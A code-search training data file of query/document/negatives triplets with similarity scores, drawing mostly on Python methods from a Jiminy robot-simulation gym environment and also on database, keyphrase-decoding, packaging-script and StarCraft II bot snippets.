[ "def __getattr__(self, attr):\n return self.get(attr)", "def __getattr__(self, attr): # or does it ?\n return self.X[attr]", "def corner_case_getattr(target, attr):\n if isinstance(target, collections.abc.Sequence):\n return target[int(attr)]\n elif isinstance(target, collections.abc.Mapping)...
[ "0.6958216", "0.66866684", "0.66685796", "0.66399646", "0.6625348", "0.65952367", "0.65803266", "0.64923227", "0.6462773", "0.64481133", "0.6424504", "0.6419575", "0.6419575", "0.6414621", "0.6383752", "0.6378708", "0.6375924", "0.6317256", "0.6311204", "0.63095355", "0.63076...
0.0
-1
Get state space. This method is not meant to be overloaded in general since the definition of the state space is mostly consensual. One must rather overload `_initialize_observation_space` to customize the observation space as a whole.
def _get_agent_state_space(self, use_theoretical_model: Optional[bool] = None ) -> spaces.Dict: # Handling of default argument if use_theoretical_model is None: use_theoretical_model = self.simulator.use_theoretical_model ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def state_space(self) -> Space:\n obs_space = self.obs_space\n # Check if _state_from_obs was overridden\n if self._state_from_obs.__func__ != RcsSim._state_from_obs:\n return BoxSpace(self._state_from_obs(obs_space.bound_lo), self._state_from_obs(obs_space.bound_up), None)\n ...
[ "0.79099107", "0.73575103", "0.72738576", "0.71095896", "0.7039575", "0.69028395", "0.6811587", "0.6811587", "0.67306685", "0.65331286", "0.6464073", "0.6350226", "0.6314427", "0.62933075", "0.62933075", "0.6186337", "0.61748713", "0.6080799", "0.6071343", "0.6022067", "0.596...
0.5505731
35
Get sensor space. It gathers the sensors data in a dictionary. It maps each available type of sensor to the associated data matrix. Rows correspond to the sensor type's fields, and columns correspond to each individual sensor.
def _get_measurements_space(self) -> spaces.Dict: # Define some proxies for convenience sensors_data = self.robot.sensors_data command_limit = self.robot.command_limit position_space, velocity_space = self._get_agent_state_space( use_theoretical_model=False).values() ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _get_sensors_data(task):\n\n try:\n report = irmc_common.get_irmc_report(task.node)\n sensor = irmc.scci.get_sensor_data(report)\n\n except (exception.InvalidParameterValue,\n exception.MissingParameterValue,\n irmc.scci.SCCIInvalidInputError,\n irmc.scci.SC...
[ "0.7008162", "0.6655875", "0.6407791", "0.6346229", "0.615248", "0.6102626", "0.60967946", "0.5954372", "0.5928956", "0.5874249", "0.586468", "0.5847319", "0.5806724", "0.5757816", "0.57116675", "0.5655913", "0.5642067", "0.5640537", "0.55841637", "0.5560884", "0.5553948", ...
0.5910463
9
Configure the action space of the environment. The action is a vector gathering the torques of the actuator of the robot.
def _initialize_action_space(self) -> None: # Get effort limit command_limit = self.robot.command_limit # Replace inf bounds of the effort limit if requested if self.enforce_bounded_spaces: for motor_name in self.robot.motors_names: motor = self.robot.get_mot...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_up_continuous_action_space(self):\n self.action_space = gym.spaces.Box(shape=(self.action_dim,),\n low=-1.0,\n high=1.0,\n dtype=np.float32)\n self.action_high = self....
[ "0.6897351", "0.6872064", "0.6778322", "0.6433614", "0.62521344", "0.6221735", "0.61467814", "0.6123499", "0.61089486", "0.60900205", "0.60286", "0.60075194", "0.5947461", "0.5933904", "0.5894918", "0.58863795", "0.584985", "0.57926476", "0.5792396", "0.57770336", "0.57563627...
0.706857
0
Specify the seed of the environment.
def _initialize_seed(self, seed: Optional[int] = None) -> List[np.uint32]: # Generate a sequence of 3 bytes uint32 seeds self._seed = list(np.random.SeedSequence(seed).generate_state(3)) # Re-initialize the low-level bit generator based on the provided seed self.np_random.bit_generator....
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def seed(self, seed=None):\n raise self.gym.seed(seed)", "def set_seed(self, seed):\n self.seed = seed", "def seed(self, seed: Optional[int]) -> None:\n ...", "def seed(self, seed: int) -> None:\n self.game.set_seed(seed)", "def set_seed(seed):\n assert (type(seed) == int and...
[ "0.7936279", "0.7715181", "0.7615185", "0.7578831", "0.7559357", "0.75488704", "0.74906", "0.74906", "0.74641925", "0.74265116", "0.74260306", "0.7415578", "0.74073887", "0.7395514", "0.7382628", "0.73802525", "0.73780125", "0.73780125", "0.73593044", "0.7332232", "0.7322587"...
0.0
-1
Reset the environment. In practice, it resets the backend simulator and set the initial state of the robot. The initial state is obtained by calling '_sample_state'. This method is also in charge of setting the initial action (at the beginning) and observation (at the end).
def reset(self, # type: ignore[override] *, seed: Optional[int] = None, options: Optional[Dict[str, Any]] = None, ) -> Tuple[DataNested, InfoType]: # Reset the seed if requested if seed is not None: self._initialize_seed(seed) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _reset(self): # We are using a virtual function defined in the gym infrastructure.\n self.gazebo.unpauseSim()\n \"\"\"\n why we need to unpauseSim because resetting controllers and for checking the sensors, we need the simulation\n to be running because otherwise we don't have any ...
[ "0.7880283", "0.7509968", "0.7483893", "0.7269573", "0.72172105", "0.7147683", "0.7129248", "0.70774513", "0.7067489", "0.70561683", "0.70194876", "0.69861394", "0.6970016", "0.6970016", "0.6970016", "0.6965861", "0.696403", "0.69544643", "0.6916335", "0.6910314", "0.6879929"...
0.6812446
23
Clean up the environment after the user has finished using it. It terminates the Python Jiminy engine.
def close(self) -> None: self.simulator.close()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tear_down(self):\n self.destroy_env()\n self.dut.kill_all()", "def terminate(self):\n super(ReacherEnv, self).close()", "def exitProgram():\n canvas.destroy()\n tool.destroy()\n code_editor.destroy()\n sys.exit()", "def destroy_env(self):\n self.dut.send_expect(\"quit\...
[ "0.73580086", "0.7349463", "0.72495836", "0.7236726", "0.71788895", "0.71084994", "0.7101632", "0.70494825", "0.70319694", "0.7004478", "0.6971578", "0.6964078", "0.69496906", "0.69496906", "0.6935145", "0.6929561", "0.68967384", "0.6876332", "0.687385", "0.6845961", "0.68451...
0.0
-1
Render the agent in its environment.
def render(self) -> Optional[Union[RenderFrame, List[RenderFrame]]]: # Set the available rendering modes viewer_backend = (self.simulator.viewer or Viewer).backend if self.render_mode == 'human' and viewer_backend == "panda3d-sync": Viewer.close() # Call base implementation ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def render(self):\n self.rendering = True\n self.env.render()", "def render(self):\n self.env.render()", "def display(self, agent):\n agent.prepare()\n self.env.render()\n while not self.ended():\n self.perform(agent.act(self, verbose=True), render=True, del...
[ "0.76740414", "0.76312137", "0.72755045", "0.687935", "0.66955996", "0.63940084", "0.6354806", "0.61958766", "0.60340106", "0.6021542", "0.6012647", "0.59783286", "0.59783286", "0.5915628", "0.5874671", "0.58670086", "0.5859821", "0.58067924", "0.58013266", "0.57257897", "0.5...
0.0
-1
Display common simulation data and action over time.
def plot(self, **kwargs: Any) -> None: # Call base implementation self.simulator.plot(**kwargs) # Extract log data log_vars = self.simulator.log_data.get("variables", {}) if not log_vars: raise RuntimeError( "Nothing to plot. Please run a simulation b...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run(self):\n self._display_sims(self._compute_sims())", "def on_screen(self):\n ########################################################################\n print ' '\n print ' '\n print '====================================================='\n print ' Simulation Results '\n...
[ "0.7092532", "0.695273", "0.6249195", "0.6240891", "0.6195608", "0.6183935", "0.6075742", "0.60323495", "0.60155046", "0.6006963", "0.5977483", "0.59616464", "0.5942773", "0.5941875", "0.5889002", "0.58822376", "0.58784664", "0.5872643", "0.58616614", "0.5859396", "0.58573693...
0.570241
36
Replay the current episode until now.
def replay(self, **kwargs: Any) -> None: # Do not open graphical window automatically if recording requested. # Note that backend is closed automatically is there is no viewer # backend available at this point, to reduce memory pressure, but it # will take time to restart it systematical...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def replay():\n roku_master.replay()", "def self_play(self, n_episodes): \n eps = self.eps(self.agent.learning_iters)\n experiences = self_play_episodes(self.mdp, self.agent, n_episodes, eps) \n for state, action, reward, next_state, done in experiences:\n ...
[ "0.6674019", "0.6535264", "0.6337443", "0.62101513", "0.6183598", "0.61766875", "0.6106317", "0.599714", "0.59326386", "0.5925372", "0.58932924", "0.583361", "0.58259267", "0.57975525", "0.5779912", "0.572349", "0.57186234", "0.56671065", "0.566037", "0.56570375", "0.56383276...
0.55700445
30
Activate interact mode enabling to control the robot using keyboard. It stops automatically as soon as 'done' flag is True. One has to press a key to start the interaction. If no key is pressed, the action is not updated and the previous one keeps being sent to the robot.
def play_interactive(self, enable_travelling: Optional[bool] = None, start_paused: bool = True, enable_is_done: bool = True, verbose: bool = True, **kwargs: Any) -> None: # Enable play in...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_interaction(self):\n self.__interact()", "def activate(self):\n self.robot = self.behavior_system.robot\n self.cozmo = self.robot.cozmo\n\n active_drive = self.robot.drive_system.active_drive\n\n if active_drive.name == 'solo-drive':\n # Look for a toy/bloc...
[ "0.6769111", "0.59950536", "0.5923037", "0.58485824", "0.5848065", "0.5804152", "0.5769291", "0.5753545", "0.56294817", "0.5598662", "0.5595247", "0.54722005", "0.5426522", "0.5399201", "0.5387124", "0.5344916", "0.53276813", "0.5326153", "0.5296999", "0.52966607", "0.5266821...
0.5420535
13
r"""Evaluate a policy on the environment over a complete episode.
def evaluate(self, policy_fn: Callable[[ DataNested, Optional[float], bool, InfoType ], ActT], seed: Optional[int] = None, horizon: Optional[int] = None, enable_stats: bool = True, enable_replay:...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def eval_policy(env, policy, episodes=100):\n scores = [run_episode(env, policy, T=episodes)\n for _ in range(episodes)]\n return np.mean(scores)", "def eval_policy_on_env(self, eval_gym_env, eval_episodes=10, seed=None):\n if not seed:\n eval_gym_env.seed(seed)\n else:\n eval_...
[ "0.78752565", "0.75445056", "0.7453909", "0.7453909", "0.70814604", "0.7065276", "0.7054896", "0.7054632", "0.70062524", "0.7000753", "0.699092", "0.6922363", "0.6895907", "0.68869233", "0.68732554", "0.68237144", "0.6817621", "0.67958504", "0.67908984", "0.6764465", "0.67144...
0.6240621
46
Configure the environment. It must guarantee that its internal state is valid after calling this method. By default, it enforces some options of the engine.
def _setup(self) -> None: # Call base implementation super()._setup() # Configure the low-level integrator engine_options = self.simulator.engine.get_options() engine_options["stepper"]["iterMax"] = 0 engine_options["stepper"]["dtMax"] = min(0.02, self.step_dt) e...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def configure(self):\n\n self.platform.configure()", "def _configure(self):\n InitialCondition._configure(self)", "def _configure(self):\n Application._configure(self)\n\n return", "def _configure(self):\n pass", "def set_env_config(self):\n self.env_config = {\n ...
[ "0.6466966", "0.63665754", "0.6320132", "0.6317695", "0.6286705", "0.6154574", "0.6116024", "0.6116024", "0.6102411", "0.60922664", "0.5990283", "0.59632015", "0.59614635", "0.5956174", "0.58894914", "0.58804315", "0.58622533", "0.58622533", "0.58622533", "0.5861201", "0.5783...
0.5827201
20
Configure the observation of the environment. By default, the observation is a dictionary gathering the current simulation time, the real robot state, and the sensors data.
def _initialize_observation_space(self) -> None: observation_spaces: Dict[str, spaces.Space] = OrderedDict() observation_spaces['t'] = self._get_time_space() observation_spaces['states'] = spaces.Dict( agent=self._get_agent_state_space()) observation_spaces['measurements'] = ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default_config(cls) -> dict:\n return {\n \"observation\": {\n \"type\": \"Kinematics\"\n },\n \"action\": {\n \"type\": \"DiscreteMetaAction\"\n },\n \"simulation_frequency\": 15, # [Hz]\n \"policy_frequenc...
[ "0.6011265", "0.5831344", "0.5766786", "0.5721643", "0.5705906", "0.57050663", "0.56596744", "0.55159897", "0.54745054", "0.54745054", "0.5473967", "0.54671705", "0.5457475", "0.5444423", "0.54048884", "0.5404658", "0.5370414", "0.5354139", "0.5336556", "0.5334133", "0.533413...
0.54953897
8
Returns a neutral valid configuration for the robot. The default implementation returns the neutral configuration if valid, the "mean" configuration otherwise (right in the middle of the position lower and upper bounds).
def _neutral(self) -> np.ndarray: # Get the neutral configuration of the actual model qpos = neutral(self.robot.pinocchio_model) # Make sure it is not out-of-bounds position_limit_lower = self.robot.position_limit_lower position_limit_upper = self.robot.position_limit_upper ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_default_config(self):\n \n config = {}\n \n # default z_0_hat, zeros, flexible\n config['z_0_hat_option'] = 'flexible'\n config['initial_z_0_hat'] = np.zeros(self.dimension)\n \n # default P_0_hat, identity times a small scalar, flexible\n conf...
[ "0.57778156", "0.55688155", "0.5520987", "0.54586405", "0.5457967", "0.54159516", "0.53503996", "0.5339682", "0.52812344", "0.5193692", "0.5190576", "0.51527995", "0.5146403", "0.5146403", "0.51304436", "0.5123697", "0.51159203", "0.5101688", "0.5077906", "0.5066523", "0.5008...
0.6328567
0
Returns a valid configuration and velocity for the robot. The default implementation returns the neutral configuration and zero velocity. Offsets are applied on the freeflyer to ensure no contact points are going through the ground and up to three are in contact.
def _sample_state(self) -> Tuple[np.ndarray, np.ndarray]: # Get the neutral configuration qpos = self._neutral() # Make sure the configuration is not out-of-bound qpos.clip(self.robot.position_limit_lower, self.robot.position_limit_upper, out=qpos) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default_velocity(self) -> int:\r\n ...", "def get_velocity_limits(robot):\n return _get_limits(robot, \"Velocity\")", "def define_ufl_velocity_equation(self):\n\n if hasattr(self, 'f1'):\n return None\n\n if self.config['material']['type'] == 'viscous':\n self....
[ "0.62891525", "0.62012136", "0.61453134", "0.60671955", "0.5998025", "0.5961315", "0.5713109", "0.56676525", "0.56676525", "0.5660293", "0.56601423", "0.56554776", "0.56529623", "0.56224686", "0.5615493", "0.5611333", "0.5609238", "0.56073445", "0.5605533", "0.5562271", "0.55...
0.5200866
54
Initialize internal buffers for fast access to shared memory or to avoid redundant computations.
def _initialize_buffers(self) -> None:
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _initialize_mem_buffs():\r\n args = get_args()\r\n\r\n # Initialize memory for checkpointed activations.\r\n if args.distribute_checkpointed_activations:\r\n mpu.init_checkpointed_activations_memory_buffer()\r\n mpu.init_workspace_memory_buffer()\r\n # mpu.init_forward_buffer()\r\...
[ "0.7599487", "0.6695344", "0.65703356", "0.6390197", "0.6390197", "0.63680345", "0.6328434", "0.6325463", "0.63085467", "0.6209726", "0.62017787", "0.6195051", "0.6174428", "0.6082165", "0.6043059", "0.6028242", "0.5996737", "0.5959481", "0.5930883", "0.5913184", "0.5906563",...
0.8179772
0
Refresh internal buffers that must be updated manually.
def _refresh_buffers(self) -> None:
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def refresh(self) -> None:\n if self._is_buffer_full():\n self.stream.close()\n self._open_stream() # re-initial self.stream\n self._buffer = bytearray()\n self._buffer_pointer = -1", "def update(self):\n # pull all available chunks\n c, t = self.inle...
[ "0.7515545", "0.6998398", "0.67986554", "0.67475444", "0.6732874", "0.66470855", "0.66470855", "0.66470855", "0.6610883", "0.6610883", "0.65877867", "0.6537833", "0.6537833", "0.6537378", "0.65073454", "0.64904463", "0.6455442", "0.6443124", "0.6428215", "0.6428215", "0.64272...
0.88663775
0
Compute the observation based on the current state of the robot. In practice, it updates the internal buffer directly for the sake of efficiency. By default, it sets the observation to the value of the measurement, which would not work unless `ObsT` corresponds to `EngineObsType`.
def refresh_observation(self, measurement: EngineObsType) -> None: observation = self.observation observation["t"][()] = measurement["t"] _array_copyto(observation['states']['agent']['q'], measurement['states']['agent']['q']) _array_copyto(observation['states']['age...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def compute_observation(self):\n robotPos, robotOrn = p.getBasePositionAndOrientation(self.botId)\n robotEuler = p.getEulerFromQuaternion(robotOrn)\n linear, angular = p.getBaseVelocity(self.botId)\n return (np.array([robotEuler[0],angular[0],self.vt], dtype='float32'))", "def take_ob...
[ "0.614435", "0.6122056", "0.5907372", "0.5907372", "0.57816315", "0.5757078", "0.5697894", "0.56669545", "0.56475073", "0.5640076", "0.5546796", "0.55234987", "0.55183667", "0.5510763", "0.5506494", "0.5496655", "0.5493527", "0.5485058", "0.5471934", "0.54646724", "0.5458043"...
0.6410189
0
Compute the motors efforts to apply on the robot. By default, it is forward the input action as is, without performing any processing. One is responsible of overloading this method if the action space has been customized, or just to clip the action to make sure it is never outofbounds if necessary.
def compute_command(self, action: ActT) -> np.ndarray: # pylint: disable=unused-argument # Check if the action is out-of-bounds, in debug mode only if self.debug and not self._contains_action(): LOGGER.warning("The action is out-of-bounds.") assert isinstance(action, np.nda...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def apply_action(self, action):\n robot_state = self.get_state('turtlebot3_waffle_pi','world')\n robot_x = robot_state.pose.position.x\n robot_y = robot_state.pose.position.y\n # Set the distance moved in an action such that it is at least as large as the\n # minimum distance tha...
[ "0.6555161", "0.6175446", "0.61484975", "0.60721034", "0.6040121", "0.596038", "0.59474665", "0.59117657", "0.58785075", "0.5857193", "0.58514833", "0.5838393", "0.5828579", "0.58060664", "0.5779312", "0.5778892", "0.57707936", "0.5764656", "0.5753222", "0.57443035", "0.57122...
0.0
-1
Determine whether the episode is over, because a terminal state of the underlying MDP has been reached or an aborting condition outside the scope of the MDP has been triggered. By default, it always returns `done=False`, and `truncated=True` iif the observation is outofbounds. It can be overloaded to implement custom t...
def has_terminated(self) -> Tuple[bool, bool]: # Make sure that a simulation is running if not self.is_simulation_running: raise RuntimeError( "No simulation running. Please start one before calling this " "method.") # Check if the observation is out-...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _compute_is_terminal(self):\n # by default the episode will terminate when all samples are labelled\n done = LalEnv._compute_is_terminal(self)\n # it also terminates when self.n_horizon datapoints were labelled\n if np.size(self.indeces_known) == self.n_horizon:\n done = ...
[ "0.69162077", "0.67930317", "0.6585751", "0.64886427", "0.6187037", "0.61485034", "0.61085063", "0.6049675", "0.60045874", "0.5996713", "0.59567237", "0.5913901", "0.5897467", "0.58631575", "0.58253324", "0.5808041", "0.58050865", "0.5776935", "0.5724657", "0.57218766", "0.56...
0.6405803
4
Mapping from input keyboard keys to actions.
def _key_to_action(self, key: str, obs: ObsT, reward: Optional[float], **kwargs: Any) -> Optional[ActT]: raise NotImplementedError
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def keys():\n\n global pressed_keys\n pressed_keys = []\n\n the_keys = pygame.key.get_pressed()\n\n # check if keys in keymap are pressed\n for key in KEYMAP:\n if the_keys[key[\"name\"]]:\n\n # Check if pressed key is already pressed\n is_present = False\n fo...
[ "0.67963517", "0.67449045", "0.651522", "0.645047", "0.6382137", "0.62379", "0.61527956", "0.6149202", "0.6147988", "0.6135885", "0.6124632", "0.61057276", "0.61034024", "0.60897315", "0.6078057", "0.6050512", "0.6011215", "0.59518075", "0.5925681", "0.58389693", "0.5807723",...
0.5395597
46
Convert a list of sample dict to a 2d list of predicted keyphrases
def sample_list_to_str_2dlist(sample_list, oov_lists, idx2word, vocab_size, eos_idx, delimiter_word, unk_idx=None, replace_unk=False, src_str_list=None, separate_present_absent=False, present_absent_delimiter_word=None): pred_str_2dlist = [] # a 2dlist, len(pred_str_2d_list)=batch_size, len(pred_str_2d_list[0])= ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def predict(self, phrases):\n Z = self.pipeline.transform(phrases)\n labels = self.classifier.predict(Z)\n if self.duplicates:\n for i, phrase in enumerate(phrases):\n label = self.dupes.get(phrase)\n if label is not None:\n labels[i]...
[ "0.60239595", "0.58526", "0.5777606", "0.5698327", "0.5693156", "0.5655182", "0.5651147", "0.56232256", "0.56232256", "0.56086737", "0.5595923", "0.55462784", "0.55310076", "0.5520392", "0.55079806", "0.55079323", "0.55079323", "0.5507333", "0.55064905", "0.54930055", "0.5489...
0.0
-1
Uses subprocess to execute the command string in the shell.
def shellexec(cmd_str): # get a handle to the subprocess we're creating.. handle = subprocess.Popen(cmd_str, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # execute and grab the stdout and err stdoutdata, strerrdata = handle.communicate("") # The return code... ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def shellcommand(command):\n\n subprocess.call(str(command))", "def _run_shell(self, command_string: str, cwd: str = '/', print_command: bool = False) -> subprocess.Popen:\n if print_command:\n self.logger.info(command_string)\n return subprocess.Popen(command_string, shell=True, cwd=...
[ "0.76505953", "0.7582376", "0.7559053", "0.7503382", "0.7465427", "0.73916954", "0.737545", "0.7353169", "0.7353169", "0.7353169", "0.7309406", "0.72673404", "0.72432476", "0.72265756", "0.72196317", "0.71818876", "0.71732616", "0.716844", "0.7150118", "0.7104381", "0.7087136...
0.0
-1
Main entyr point into the program. Checks that everytyhing is in order, and then creates the tar file to deploy. None. None. None. None.
def main(): print "Starting tar-maker script.." # String of files we're going to be looking for files="runlocaltests.py testprocess.py verifyfiles.mix cleanup_deploy.py hashes.dict upgrade_nodes.sh deploy_helper.py" # TODO: add list of 'optional files' to include # get the files passed in as arguments fi...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main():\n parser = argparse.ArgumentParser(description='Create packaged set of modulefiles for deployment on OASIS.')\n parser.add_argument('--location', dest='location', default=None,\n help='Location directory to place files in')\n parser.add_argument('--tarfile', dest='tarfil...
[ "0.7674628", "0.7009183", "0.69814724", "0.6909496", "0.67717195", "0.67605096", "0.6690661", "0.6664085", "0.6589862", "0.65550286", "0.65225005", "0.6473202", "0.64672995", "0.64672995", "0.64672995", "0.64645517", "0.6382354", "0.63811666", "0.63648045", "0.6364746", "0.63...
0.77710694
0
Methods decorated with notify_wrap make a copy of the list before the operation, then notify observers of the change after. The list itself, the old list, and the new list are sent as arguments.
def notify_wrap(self, func, *args, **kw): val = func(self, *args,**kw) if not self._observable_frozen: self.notify('list', None, self) return val
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_list_inplace_update(self):\r\n vm = List.value_manager(None, None, [1,2,3])\r\n assert not vm.changed\r\n vm.value.append(4)\r\n assert vm.changed", "def change(some_list):\n some_list[0] = 'Changed' # will change the original list", "def update_cloud_watch_obj_list(old_...
[ "0.6467967", "0.632745", "0.6217688", "0.6164946", "0.6039418", "0.58916533", "0.5679391", "0.56683993", "0.56465167", "0.5604742", "0.5588091", "0.55784154", "0.55419934", "0.5493708", "0.54824", "0.54641175", "0.5373986", "0.5372224", "0.5364606", "0.5323254", "0.5318951", ...
0.71751255
0
Return corresponding command for a word
def _word_to_command(word): for command in KEYWORDS: for w in KEYWORDS[command]: if w == word: return command
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_action(command):\n return command.split(\" \")[0]", "def get_command(self, kword: str):\n # Step Zero is to make sure that the name does not belong to a REAL command.\n zero, mod = super().get_command(kword)\n if zero:\n return zero, mod\n\n # Otherwise, first, e...
[ "0.70963365", "0.68949115", "0.66989183", "0.6638945", "0.6634957", "0.64863515", "0.6485151", "0.6464957", "0.6424962", "0.6381107", "0.63472664", "0.6344467", "0.6342394", "0.6246106", "0.61938083", "0.6175004", "0.6174016", "0.616791", "0.6157394", "0.6150461", "0.6136199"...
0.842294
0
Return useful data in a commit message
def parse_commit_message(message): # ['closes', 'close', 'fix', ...] keywords = [] [keywords.extend(val) for val in KEYWORDS.values()] # we need to sort to match longuest command possible keywords.sort(lambda x, y: cmp(len(y), len(x))) # 'closes|close|fix...' keywords_re = '|'.join(keywords)...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _generate_commit(\n self, msg: Optional[str] = None, author: Optional[str] = None\n ) -> dict:\n if author:\n mes_author = author\n else:\n mes_author = self._author\n if not msg:\n msg = f\"Commit via python client {__version__}\"\n ci = {...
[ "0.7054607", "0.69127953", "0.68987674", "0.68029916", "0.66350293", "0.64184207", "0.63302046", "0.62815684", "0.627591", "0.61482066", "0.6068009", "0.6051173", "0.5999816", "0.5994574", "0.5991955", "0.5973082", "0.5886928", "0.5885449", "0.5870905", "0.5868539", "0.584172...
0.0
-1
Performs database connection using database settings from settings.py. Returns sqlalchemy engine instance
def db_connect( db_conn_str: Optional[str] = None, debug: bool = False, timeout: int = 300 ) -> Engine: if not db_conn_str: db_conn_str = settings.db_url connect_args = {} if db_conn_str.startswith("sqlite"): connect_args = {"check_same_thread": False} if settings.db_debug: ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))", "def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))", "def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))", "def db_connect(...
[ "0.82335526", "0.82335526", "0.82335526", "0.82335526", "0.8216799", "0.81846386", "0.8083407", "0.8083407", "0.8083407", "0.8083407", "0.8083407", "0.77153325", "0.7681107", "0.76489097", "0.7632878", "0.7614201", "0.7612995", "0.75741094", "0.7460706", "0.7430493", "0.73663...
0.6907789
45
Gets a database session
def get_database_session() -> Generator[sessionmaker, None, None]: s = None try: s = SessionLocal() yield s except Exception as e: raise e finally: if s: s.close()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dbsession(cls):\n sqlahelper = cls.dbsqlahelper\n return sqlahelper.getmake_session()", "def get_session(self):\r\n if self._config.has_key('database'):\r\n return self._builder.session(self._config['database'], self.get_threads())\r\n if not self._config.has_key('host'...
[ "0.8457458", "0.8026521", "0.79918873", "0.7740035", "0.7734058", "0.7654917", "0.7573761", "0.7543673", "0.75255126", "0.75226456", "0.74993986", "0.74562776", "0.741741", "0.73917544", "0.7379246", "0.73743856", "0.7315897", "0.73122716", "0.7310943", "0.7305911", "0.730387...
0.6965819
40
Gets a database engine connection
def get_database_engine() -> Engine: return engine
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_connection(db_url=None):\n return engine(db_url).connect()", "def get_connection(self):\n\n\t\treturn dbapi.connect(credentials.SERVER,\\\n\t\t\t\t\t\t\t credentials.PORT,\\\n\t\t\t\t\t\t\t credentials.USER,\\\n\t\t\t\t\t\t\t credentials.PASSWORD)", "def db_connect():\n return create_engine(g...
[ "0.8328373", "0.80649024", "0.79628617", "0.79628617", "0.79628617", "0.79628617", "0.79067075", "0.78349614", "0.78288984", "0.7787937", "0.7742217", "0.7735325", "0.76559305", "0.76493436", "0.76393783", "0.7589309", "0.75836", "0.75809807", "0.7563629", "0.75597477", "0.75...
0.7783303
10
Returns time in seconds, assumes the game is played on 'faster'
def time(self) -> float: return self.state.game_loop / 22.4 # / (1/1.4) * (1/16)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)"...
[ "0.7389196", "0.7389196", "0.7389196", "0.7389196", "0.7389196", "0.7389196", "0.73676103", "0.71701133", "0.7106586", "0.7045024", "0.70407975", "0.6973079", "0.696249", "0.6875897", "0.68629414", "0.6855212", "0.68415254", "0.6819904", "0.68141836", "0.67910516", "0.6747411...
0.7943959
0
Check if alert is triggered in the current step.
def alert(self, alert_code: Alert) -> bool: assert isinstance(alert_code, Alert), f"alert_code {alert_code} is no Alert" return alert_code.value in self.state.alerts
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def alerted(self) -> bool:\n\t\treturn self._raw_result['data']['alerted']", "def is_triggered(self) -> bool:\n raise NotImplementedError()", "def should_trigger_for_step(self, step):\n if self._last_triggered_step == step:\n return False\n\n if self._every_steps is not None:\n ...
[ "0.6803532", "0.65111023", "0.62942034", "0.6238149", "0.6040833", "0.60183674", "0.6016478", "0.597515", "0.59680724", "0.5941736", "0.59372824", "0.59154534", "0.58633006", "0.58007115", "0.57971126", "0.5786328", "0.57451165", "0.57369673", "0.57076854", "0.56845105", "0.5...
0.61626494
4
Returns the spawn location of the bot, using the position of the first created townhall. This will be None if the bot is run on an arcade or custom map that does not feature townhalls at game start.
def start_location(self) -> Point2: return self._game_info.player_start_location
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def random_location(self):\r\n\r\n while True:\r\n pt = (random.uniform(self.worldbox.tl[0], self.worldbox.br[0]),\r\n random.uniform(self.worldbox.tl[1], self.worldbox.br[1]))\r\n if not self.is_wall(pt) and not self.is_target(pt):\r\n return pt", "de...
